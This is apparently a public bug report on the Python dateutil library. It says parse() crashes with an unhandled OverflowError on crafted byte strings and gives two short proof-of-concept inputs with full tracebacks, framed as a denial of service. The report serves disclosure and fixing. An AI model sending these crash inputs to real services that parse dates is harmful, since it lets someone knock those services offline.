[Crash] Unhandled OverflowError exception while parsing an arbitrary date leads to DoS

[pventuzelo]

The crash occurs when the parser (via the parse function) tries to decode an arbitrary user input without sanitizing it first. The library then crashes due to an unhandled OverflowError error.

PoC

// PoC.py
from dateutil.parser import parse

parse(b'33333333333333\\x003')

Crash

Traceback (most recent call last):
  File "poc_OverflowError.py", line 3, in <module>
    parse(b'33333333333333\\x003')
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 1368, in parse
    return DEFAULTPARSER.parse(timestr, **kwargs)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 649, in parse
    ret = self._build_naive(res, default)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 1235, in _build_naive
    naive = default.replace(**repl)
OverflowError: signed integer is greater than maximum

PoC 2

// PoC_2.py
from dateutil.parser import parse

parse(b'9999999999999999999999999999999999999999939999999999999999999999999999:999999999')

Crash 2

Traceback (most recent call last):
  File "poc_OverflowError_2.py", line 3, in <module>
    parse(b'9999999999999999999999999999999999999999939999999999999999999999999999:999999999')
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 1368, in parse
    return DEFAULTPARSER.parse(timestr, **kwargs)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 649, in parse
    ret = self._build_naive(res, default)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 1235, in _build_naive
    naive = default.replace(**repl)
OverflowError: Python int too large to convert to C long

Impact

This vulnerability is making Python trigger an exception and crash leading to a denial of service (DoS).
Vulnerability type: CWE-248: Uncaught Exception

(I originally reported this bug through private disclosure via huntr bug bounty platform but it was closed as informative... I don't agree, it's a major library used by a lot of projects and can impact a lot of AI/ML projects as well)